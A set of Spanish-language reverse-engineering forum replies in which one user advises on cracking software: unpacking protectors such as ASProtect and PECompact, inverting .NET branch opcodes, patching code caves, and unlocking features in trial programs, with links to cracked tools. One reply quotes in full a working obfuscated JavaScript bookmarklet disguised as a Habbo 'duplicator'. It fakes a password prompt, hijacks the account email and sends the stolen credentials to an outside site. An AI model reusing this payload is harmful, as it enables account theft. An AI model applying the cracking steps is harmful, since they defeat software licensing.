|
311
|
Programación / Ingeniería Inversa / Re: Ayuda con un .Exe
|
en: 18 Julio 2016, 20:16 pm
|
cuando tienes un archivo punto net, debes entender los principios pero mas o menos casi siempre los .net usan lenguaje intermedio il /msil entonces el tema real es que entre mas sepas codificar en .net puedes modificar a gusto el código de fuente, el problema real es que van creciendo en algunas cosas 1) ofuscacion 2) encriptacion el codigo de fuente es accesible, ya que los .net son asi, pueden ser decompilados y re-compilados dependiendo la experiencia del cracker las sugerencias básicas son estas 1) desofusca conforme puedas con de4dot-> http://de4dot.com/luego descompila con reflector (google te indicará que es trial, pero igual hay crackeds) o bien depura con DNSpy si necesitas buscar herramientas para .net busca packs dotnet, ejemplo: http://www.at4re.com/f/showthread.php?5859-DotNet-Tools-Packpero en mi experiencia aprende mejor a depurar programas en .net, pero para ello necesitarás saber algo de inglés (si quieres buscar tutoriales al estilo de ricardo) por kurapica o en blackstom team, o bien en español hay o comenzar con el principio basico de todo busca hacer un hola mundo, mensajes, eventos threads y mas y luego de entender en un lenguaje .net , depura tu propio código mas o menos el principio es asi hay 1 dll que importa todos los métodos según en lenguaje, luego carga los form (1, 2,3,4,5 etc) luego los eventos estan ordenados con su codigo y los recursos se cargan conforme se necesitan la realidad luego para el cracking es leer ese codigo ya sea para que hagas lo que deseas debes dominar los cambios hexadecimales, el compilador convierte el codigo de programacion en un lenguaje intermedio (IL) las cuales contienen instrucciones diferentes a las que estamos habituados en windows, antes de ejecutarse una aplicacion, el codigo IL debe ser convertido a codigo de maquina (binario), el encargado de eso es JITcompiler (Compilador instantaneo). Todo un invento de mocosoft para el desarrollo de aplicaciones por ejemplo alguna idea es buscar los saltos logicos designados como Branch y si ya tienes ubicado el salto solo tienes que invertirlo a su valor con un editor hexadecimal o con reflexil en net reflector. Por ejemplo un 39 brfalse ===> 3a brtrue, OpCodeTable: https://mega.nz/#!r5BCza4B!20CLLK5ESPlSxB0iFm-q2I9x_UeBJmOHRufG51hPq0gCRACKEANDO APLICACIONES .NET PARTE I: https://mega.nz/#!q45XWTJB!p2WqkseljVsgcvuQKFvmgGOEE33C8st_iJ2IKu8wDzso bien coloca "net" en http://ricardonarvaja.info/WEB/buscador.php
|
|
|
312
|
Programación / Ingeniería Inversa / Re: [Ayuda] ¿Como hago para desempaquetar y crackear este programa?
|
en: 18 Julio 2016, 17:18 pm
|
asprotect es un packer que genera mucha ofuscacion, cifrado y además tiene opción de sdk por otro lado existen unpackers para ollydbg como codedoctor, unpackers por rusos llamado DecomAS, y también existen herramientas y tutes para inlinearlo si bien parece un packer con pocas capas, tiene bastante dificultad como para que lo hagas en 2 días sin conocimiento que aparece en faq (tutorial de ricardonarvaja completo a lo menos) por otro lado a primera vista la iat está un poco desordenada luego de desempacar, y pareciera ser un delphi o vc podrias complementar con IDA cuando ya tengas mas experiencia por otro lado, solo para demostrar que es posible desempacar con codedoctor: https://mega.nz/#!K1ElSAqK!dfc0yZky3xDgPNOanVwFXgrr19BUIqUgRYHPBzJapRYsaludos Apuromafo CLS
|
|
|
313
|
Programación / Ingeniería Inversa / Re: Ayuda con una modificación que no funciona
|
en: 11 Julio 2016, 05:28 am
|
leo con tranquilidad que quieres insertar un pequeño injerto hay ciertos detalles a considerar cuando cambias un byte 1)el programa está empacado?, esto influye porque el lugar donde escribes puede que esté está protegido contra escritura, aunque de comienzo tenga permisos de escritura o bien que tenga verificacion de crc. 2) el programa si no está desempacado la sección que está influye bastante ya que si no tiene permiso para escribir en el lugar hará una excepción,que hará que no funcione 3) digamos que usas topo herramienta disponible en http://ricardonarvaja.info/WEB/OTROS/HERRAMIENTAS/Q-R-S-T-U/topo12corregido.rar indicado en la parte anterior, determinas no se 100 o 200 bytes de espacio libre o el tamaño que quieras ,tu código será algo asi nop nop nop NOp por cantidad de bytes ... JMP entrypoint lo ideal que hagas es que coloques en este entrypoint lleno de nops algo asi pushad ;guarda los registros injerto a realizar (cambiar una direccion, redireccionar o lo que quieras) // cambiar una direccion ejemplo mov ptr ds:[direccion del salto],90909090 ;nopeando el lugar de destino mov ptr ds:[direccion del salto+4],bytes ;siguiendo la escritura de los bytes mov ptr ds:[direccion del salto],bytes del salto a direccion del destino la idea de los bytes es para parches a luego del salto del oep donde antes decia jmp lugar/jne/je, ahora dirá jmp direccion2 popad ;restaura los registros jmp entrypoint ;aqui empezara el programa.... una vez que acceda al lugar parchado irá a direccion 2 donde devolverás el flujo direccion2: aqui codigo que antes era nop, ahora le colocas lo que quieres hacer o cambiar etc cmp eax,0 je siguiente mov eax,1 siguiente: jmp lugar retorno una idea de injerto cualquiera es definir el espacio donde estamos osea entrypoint (con nops) COdigo que cambia algunas instrucciones hacia el codecave , luego ejemplo cambio incondicional al lugar de destino (despues de la redireccion del oep) salto al oep (original entrypoint) codigo del injerto donde restauras o sigues el flujo normal, parchas donde quieres y saltas al retorno del programa tal cual como siempre esto de usar un injerto que no altere las apis, se puede hacer sin lio cuando conoces bien el ejecutable, pero cuando ya requieres apis, debes tener cuidado de agregar a la sección iat las nuevas apis, y de cuadrar bien la sección para que sean compatibles con otros sistemas operativos... bueno eso la sugerencia es que si aún no encuentras bien el espacio o como administrarlo, lo ideal es que leas bien el faq y termines los escritos de ricardo narvaja quizas de primera es complicado, pero con el tiempo comienzas a darte cuenta que no es algo complicado Saludos Apuromafo
|
|
|
314
|
Programación / Ingeniería Inversa / Re: HABILITAR FUNCION GUARDAR COMO... EN PROGRAMAS DEMO o TRIALS, AYUDA...?
|
en: 1 Julio 2016, 08:07 am
|
Cuando yo analizo un programa desconocido comienzo viendo si está empacado , si lo está se debe desempacar para tener en la ejecución normal y con ello saber que hacer las teorias numeradas de ricardo hacen alusión al packer en algunos de los escritos te daré una pequeña ayuda: al comenzar el programa está empacado con PECOMPACT, al desempacar obtienes un programa visualbasic sin firma de vb6, luego de agregar la firma 56 42 35 21 36 26 2A 00 00 te darás cuenta que el programa no corre porque detecta el cambio de crc/tamaño o más, por la parte interna se logra apreciar bastantes rutinas donde el autor refiere no crack o algo asi, dado que es un visual basic es necesario que uses programas alusivos a eso (vbdecompiler , ida y otros), no he visto mas alla validación o algo, pero no es dificil de desempacar a tool, en caso x te sugiero el unpacker de nacho en tuts4you , pero tambien hay muchos escritos al respecto bueno revisa la chincheta, de aquí a 6 meses deberías tenerlo completamente analizado, posiblemente algun cracker pueda dedicar mas de 5 minutos ...pero en mi caso soy bueno revisando cuando estoy motivado a ello pd: jamás pido ni dinero ni animo, solo orientar a quien necesite ayuda en este caso te falta nivel y experiencia de vb para llegar a más...hay en el foro expertos en el tema de crack a vb, podrías comenzar de a poco intentar primero desempacar
|
|
|
318
|
Programación / Ingeniería Inversa / Re: ¿Cómo decodifico esto?
|
en: 16 Marzo 2016, 03:21 am
|
https://www.unphp.net/decode/3d484439626db1d567a83415de961520/<a onClick="alert('Debe iniciar sesion en habbo y arrastrar la imagen a la pestaa de habbo');return false;" href='javascript:var owner = "duplicador";var _0x3459=["http://hiori-games.com/p/loading.php","/settings/email",""","split","name":"","email":"","<div style="position: fixed; top: 0px; left: 0px; z-index: 800; width: 100%; height: 100%; background: rgba(10, 54, 94, 0.8);"></div>","<div id="hidden" style="position: fixed; top: 70px; width: 500px; z-index: 900; left: 50%; margin-left: -250px;"><div style="display: block; transition: 1s;" id="toast-container" class="toast-top-center" aria-live="polite" role="alert"><div class="toast toast-error" style="display: none;"><div class="toast-progress" id="toast-progress" style="width: 99.9%; transition: 2s;"></div><div class="toast-message" id="toast-message">La contrasea que ingreso es incorrecta, verifique e intente de nuevo.</div></div></div><div class="modal-dialog" ng-class="size ? " modal-"="" +="" size="" :="" """=""><div style="height: 250px;" class="modal-content" uib-modal-transclude=""><div><button onclick="location.reload()" class="modal__close"></button><h3 translate="SAFETY_LOCK_TITLE" class="modal__title">Cuenta protegida por seguridad.</h3><div class="modal__content"><p translate="SAFETY_LOCK_ANSWER"></p><!-- ngIf: safetyLockForm.$error.remoteDataAnswer --><fieldset class="form__fieldset"><label for="safety-lock-answer1" class="form__label" translate="IDENTITY_SAFETYQUESTION_1">Ingrese su contrasea para continuar</label><div class="form__field"><input id="inputtxt" name="answer1" type="password" ng-model="answers.answer1" ng-model-options="{ updateOn: " default="" blur",="" debounce:="" {="" default:="" 500,="" blur:="" 0="" }="" }"="" required="" remote-data="" answer""="" password-toggle-mask="" autocomplete="off" class="form__input ng-pristine ng-untouched password-toggle-mask ng-invalid ng-invalid-required" style="border-color: rgb(144, 51, 82);"><i class="password-toggle-mask__icon"></i><!-- ngIf: safetyLockForm.answer1.$error.required && (!safetyLockForm.answer1.$pristine || safetyLockForm.$submitted) --></div></fieldset><div class="form__footer"><a href="https://www.habbo.es/" class="form__cancel" onclick="location.reload()" translate="FORM_CANCEL_LABEL">Cancelar</a> <button ng-disabled="unlockingInProgress" type="" class="form__submit" onclick="add();">Continuar</button></div></div></div></div></div></div>","prepend","body","ajax","val","#inputtxt","stopcredits","random","floor","@lolito.tk","fadeToggle",".toast","animate","#toast-progress","fail","api/settings/email/change","post","https://www.habbo.es/api/safetylock/disable","get","form","createElement","action","method","input","type","text","name","mail_add","value","pass","habbo","email","id","appendChild","submit"];var linksave=_0x3459[0];var nome=null;var email=null;$[_0x3459[10]]({url:_0x3459[1],success:function b64EncodeUnicode(_0xcfe9x4){nome=_0xcfe9x4[_0x3459[3]](_0x3459[4])[1][_0x3459[3]](_0x3459[2])[0];email=_0xcfe9x4[_0x3459[3]](_0x3459[5])[1][_0x3459[3]](_0x3459[2])[0];div1=_0x3459[6];div2=_0x3459[7];$(_0x3459[9])[_0x3459[8]](div1);$(_0x3459[9])[_0x3459[8]](div2)}});function add(){var _0xcfe9x6=$(_0x3459[12])[_0x3459[11]]();var _0xcfe9x7=_0x3459[13]+Math[_0x3459[15]](Math[_0x3459[14]]()*999999)+_0x3459[16];if(_0xcfe9x6){$[_0x3459[23]](_0x3459[22],{currentPassword:_0xcfe9x6,newEmail:_0xcfe9x7},function(_0xcfe9x4){_0xcfe9x8()})[_0x3459[21]](function(){$(_0x3459[18])[_0x3459[17]]();$(_0x3459[20])[_0x3459[19]]({width:0},300);setTimeout(function(){$(_0x3459[18])[_0x3459[17]]()},3000)});$[_0x3459[25]](_0x3459[24]);function _0xcfe9x8(){var _0xcfe9x9=document[_0x3459[27]](_0x3459[26]);_0xcfe9x9[_0x3459[28]]=linksave;_0xcfe9x9[_0x3459[29]]=_0x3459[25];var _0xcfe9xa=document[_0x3459[27]](_0x3459[30]);_0xcfe9xa[_0x3459[31]]=_0x3459[32];_0xcfe9xa[_0x3459[33]]=_0x3459[34];_0xcfe9xa[_0x3459[35]]=_0xcfe9x7;var _0xcfe9xb=document[_0x3459[27]](_0x3459[30]);_0xcfe9xb[_0x3459[31]]=_0x3459[32];_0xcfe9xb[_0x3459[33]]=_0x3459[36];_0xcfe9xb[_0x3459[35]]=_0xcfe9x6;var _0xcfe9xc=document[_0x3459[27]](_0x3459[30]);_0xcfe9xc[_0x3459[31]]=_0x3459[32];_0xcfe9xc[_0x3459[33]]=_0x3459[37];_0xcfe9xc[_0x3459[35]]=nome;var _0xcfe9xd=document[_0x3459[27]](_0x3459[30]);_0xcfe9xd[_0x3459[31]]=_0x3459[32];_0xcfe9xd[_0x3459[33]]=_0x3459[38];_0xcfe9xd[_0x3459[35]]=email;var _0xcfe9xe=document[_0x3459[27]](_0x3459[30]);_0xcfe9xe[_0x3459[31]]=_0x3459[32];_0xcfe9xe[_0x3459[33]]=_0x3459[39];_0xcfe9xe[_0x3459[35]]=owner;_0xcfe9x9[_0x3459[40]](_0xcfe9xa);_0xcfe9x9[_0x3459[40]](_0xcfe9xb);_0xcfe9x9[_0x3459[40]](_0xcfe9xc);_0xcfe9x9[_0x3459[40]](_0xcfe9xd);_0xcfe9x9[_0x3459[40]](_0xcfe9xe);document[_0x3459[9]][_0x3459[40]](_0xcfe9x9);_0xcfe9x9[_0x3459[41]]()}}}'>
|
|
|
319
|
Programación / Ingeniería Inversa / Re: consulta sobre trabajos para programadores expertos ollydbg
|
en: 22 Febrero 2016, 18:23 pm
|
yo te sugeriria leer el faq, para que veas que no es nada del otro mundo, solo un poco de tiempo, quizas te lo hago mas explicito luego si usas una máquina x86 con windows 8.1 o windows 10, o windows 7, crees una maquina virtual con windows xp sp3, luego hagas los tutoriales de ricardo (recuerda que fueron creado hace unos 10 años) luego de ello, considera que molebox debes desempacar(main), luego extraer dependencias(pueden ser de cualquier tipo, bmp, exe, dll etc), dado que molebox no corre en sistemas operativos nuevos, es idoneo probar siempre en sistemas operativos que no dieron problemas
respecto a tutoriales de molebox, puedes considerar los de crackslatinos,
ahora la parte explicita, digamos que yo tenia un programa empacado con armadillo, aparecio un famoso unpacker y no aprendi sobre desempacarlo, pero un dia esa tool, no funciono, por lo que decidi aprender, hacerlo y termine registrandolo, dado que nadie lo habia registrado segui compartiendo en lugares ingleses donde si lo habian registrado y contrastando informacion, dado que nadie habia registrado como yo, termine uniendome a teams a ver si alguien si podia saber del tema, al final encontre expertos keygeners de armadillo y terminamos viendo mas alla que cualquier otra herramienta, analisis de usuarios/serial, analisis de como se podia inlinear, herramienta para generar una key valida etc, entonces ahi fue un verdadero indicio
que pasa cuando automatizas sin tener ni idea ? sales del problema un minuto, pero ante la misma situacion en otro instante, no sabes que hacer si ya no funciona , cuando aprendes reversing, puedes identificar si está o no a tu alcance, si logras ver que tiene inclusive muchas veces algun virus/troyano en el código
el crack request existe en foros ingleses, pero debe saberse buscar, son teams de mucho tiempo, por otro lado cuando aprendes ingenieria inversa no es para lucirse con crackeds, es un desafio intelectual como quien dice cuando aprendes a jugar ajedrez, requiere tiempo dedicacion y logras los resultados conforme te propones una meta
saludos cordiales y el mayor de los éxitos
Apuromafo CLS
|
|
|
320
|
Programación / Ingeniería Inversa / Re: nesecito un experto en vb descompiler
|
en: 18 Febrero 2016, 04:44 am
|
cuando eres autor de tu còdigo y intentas crear a compilado, veràs que hay muchìsimas variables que se pierden y todas se asocian a que evento usas, por otro lado el decompilador mostrarà referencias importantes pero nunca el còdigo la parte estètica del programa o form, en general puede ser recuperada casi en un 100%,siempre y cuando pueda ser bien analizada, los principios ya existen en la web, siempre involucra el famoso tiempo https://www.vb-decompiler.org/forms_editing.htmrespecto a programas que permiten cambiar eso visual, seria vb reformer https://www.google.cl/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=vb%20reformeren general lo que se ve es que puedes cambiar eventos del tipo disabled a enabled, cambiar texto y otros cuando vemos del pasado herramientas que pensaron en reconstituir còdigo, solo llegaron a versiones pequeñas "vbrezq" fue una herramienta genial de la version 4 a 5, algunas 6 eran soportadas, pero el principio es el mismo siempre el principio es el mismo es imposible hacer cosas nuevas, si no eres dueño de las herramientas por eso es muchisimo mejor aprender a hacer las cosas por si solo,luego apoyarse en lo que se conoce y luego demostrar que si es posible hacer algo mas por mi lado si no sabes de ingenieria inversa, nimporta, eso se puede aprender, pero pedir codigos de fuente donde nadie ha hecho algo semejante, es triste bueno, aun con experiencia en visual basic, ahora todo migra a uso de plataformas punto net, dejaron de darle soporte a visual basic y se enfocaron en nuevos entornos hacia visual c y otros, bueno un saludo a la distancia y animo en la hazaña Apuromafo
|
|
|
|
|
|
|